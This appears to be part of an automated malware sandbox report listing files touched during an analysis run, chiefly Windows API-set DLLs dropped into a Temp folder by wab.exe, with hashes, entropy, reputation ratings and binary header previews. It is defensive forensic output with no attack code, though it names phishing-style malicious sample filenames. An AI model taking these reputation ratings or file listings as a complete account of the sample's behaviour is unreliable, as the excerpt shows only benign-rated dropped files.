C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\47105159387173330903812.tmp

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-console-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.080160932980843
Encrypted:	false
SSDEEP:	192:3jBMWIghWGZiKedXe123Ouo+Uggs/nGfe4pBjS/uBmWh0txKdmVWQ4GWDZoiyqnP:GWPhWVXYi00GftpBjSemTltcwpS
MD5:	502263C56F931DF8440D7FD2FA7B7C00
SHA1:	523A3D7C3F4491E67FC710575D8E23314DB2C1A2
SHA-256:	94A5DF1227818EDBFD0D5091C6A48F86B4117C38550343F780C604EEE1CD6231
SHA-512:	633EFAB26CDED9C3A5E144B81CBBD3B6ADF265134C37D88CFD5F49BB18C345B2FC3A08BA4BBC917B6F64013E275239026829BA08962E94115E94204A47B80221
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Po#70831.exe, Detection: malicious, Browse Filename: FedEx Shipping Document.scr.exe, Detection: malicious, Browse Filename: FedEx Shipping Document.exe, Detection: malicious, Browse Filename: ACCEPT_014STSY529093.PDF.exe, Detection: malicious, Browse Filename: Launcher.exe, Detection: malicious, Browse Filename: SEL1685129 AMANOS.pdf.exe, Detection: malicious, Browse Filename: ESPLS-RFQ_2400282.exe, Detection: malicious, Browse Filename: ESPLS-RFQ_2400282.exe, Detection: malicious, Browse Filename: Order No. 203276712.exe, Detection: malicious, Browse Filename: HSBC_PAYMENT.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....."............!......................... ...............................0.......J....@.............................+............ ..................8=..............T............................................................................text...+........................... ..`.rsrc........ ......................@..@......".........;...T...T.........".........d.................".....................RSDSMB...5.G.8.'.d.....api-ms-win-core-console-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......+....edata... ..`....rsrc$01....` .......rsrc$02......................".....................(...`...............,...W...................G...o...............................D...s...............5...b...............................................api-ms-win-core-console-l1-1-0.dll.AllocConsole.kern

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-datetime-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.093995452106596
Encrypted:	false
SSDEEP:	192:RWIghWG4U9xluZo123Ouo+Uggs/nGfe4pBjSbMDPxVWh0txKdmVWQ4CWrDry6qnZ:RWPhWFv0i00GftpBjBHem6plUG+zIw
MD5:	CB978304B79EF53962408C611DFB20F5
SHA1:	ECA42F7754FB0017E86D50D507674981F80BC0B9
SHA-256:	90FAE0E7C3644A6754833C42B0AC39B6F23859F9A7CF4B6C8624820F59B9DAD3
SHA-512:	369798CD3F37FBAE311B6299DA67D19707D8F770CF46A8D12D5A6C1F25F85FC959AC5B5926BC68112FA9EB62B402E8B495B9E44F44F8949D7D648EA7C572CF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...A..............!......................... ...............................0.......#....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....A...........<...T...T.......A...........d...............A.......................RSDS...W,X.l..o....4....api-ms-win-core-datetime-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02....................A.......P...............(...8...H...................t.......................api-ms-win-core-datetime-l1-1-0.dll.GetDateFormatA.kernel32.GetDateFormatA.GetDateFormatW.kernel32.GetDateFormatW.GetTimeFormatA.kernel32.GetTimeFormatA

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-debug-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1028816880814265
Encrypted:	false
SSDEEP:	384:cWPhWM4Ri00GftpBj2YILemtclD16PaEC:l10oiBQe/L
MD5:	88FF191FD8648099592ED28EE6C442A5
SHA1:	6A4F818B53606A5602C609EC343974C2103BC9CC
SHA-256:	C310CC91464C9431AB0902A561AF947FA5C973925FF70482D3DE017ED3F73B7D
SHA-512:	942AE86550D4A4886DAC909898621DAB18512C20F3D694A8AD444220AEAD76FA88C481DF39F93C7074DBBC31C3B4DAF97099CFED86C2A0AAA4B63190A4B307FD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......GF....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@................9...T...T...................d.......................................RSDS.j..v..C...B..h....api-ms-win-core-debug-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................P...............(...8...H...\|...............q.......................api-ms-win-core-debug-l1-1-0.dll.DebugBreak.kernel32.DebugBreak.IsDebuggerPresent.kernel32.IsDebuggerPresent.OutputDebugStringA.kernel32.OutputDebugStri

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-errorhandling-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.126358371711227
Encrypted:	false
SSDEEP:	192:NFmxD3PWIghWGJY/luZo123Ouo+Uggs/nGfe4pBjSffcp8Wh0txKdmVWQ4yWRzOr:NFkWPhW60i00GftpBj4emHlD16Pa7v
MD5:	6D778E83F74A4C7FE4C077DC279F6867
SHA1:	F5D9CF848F79A57F690DA9841C209B4837C2E6C3
SHA-256:	A97DCCA76CDB12E985DFF71040815F28508C655AB2B073512E386DD63F4DA325
SHA-512:	02EF01583A265532D3970B7D520728AA9B68F2B7C309EE66BD2B38BAF473EF662C9D7A223ACF2DA722587429DA6E4FBC0496253BA5C41E214BEA240CE824E8A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\x.............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....\x..........A...T...T.......\x..........d...............\x......................RSDS.1....U45.z.d.....api-ms-win-core-errorhandling-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............\x......n...............(...D...`...................4...f.......................'...J.....................api-ms-win-core-errorhandling-l1-1-0.dll.GetErrorMode.kernel32.GetErrorMode.GetLastError.kernel32.GetLastError.RaiseExcept

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21816
Entropy (8bit):	7.014255619395433
Encrypted:	false
SSDEEP:	384:d6PvVXHWPhWnsnhi00GftpBjaJemyDlD16PamW8:UPvVX85nhoisJeLt8
MD5:	94AE25C7A5497CA0BE6882A00644CA64
SHA1:	F7AC28BBC47E46485025A51EEB6C304B70CEE215
SHA-256:	7EA06B7050F9EA2BCC12AF34374BDF1173646D4E5EBF66AD690B37F4DF5F3D4E
SHA-512:	83E570B79111706742D0684FC16207AE87A78FA7FFEF58B40AA50A6B9A2C2F77FE023AF732EF577FB7CD2666E33FFAF0E427F41CA04075D83E0F6A52A177C2B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!.........................0...............................@......./....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@...............8...T...T..................d......................................RSDS.0...B..8....G....api-ms-win-core-file-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................K...K.......D...p...6...`.......................?...l...............A...................6..._...................;...e............... ...I...n...............-...d......................g..................U...................M...

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-handle-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-heap-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-interlocked-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-libraryloader-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-memory-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-namedpipe-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processenvironment-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\Local\Temp\50C257A1\api-ms-win-core-processthreads-l1-1-0.dll

Download File

Process:	C:\Program Files (x86)\Windows Mail\wab.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

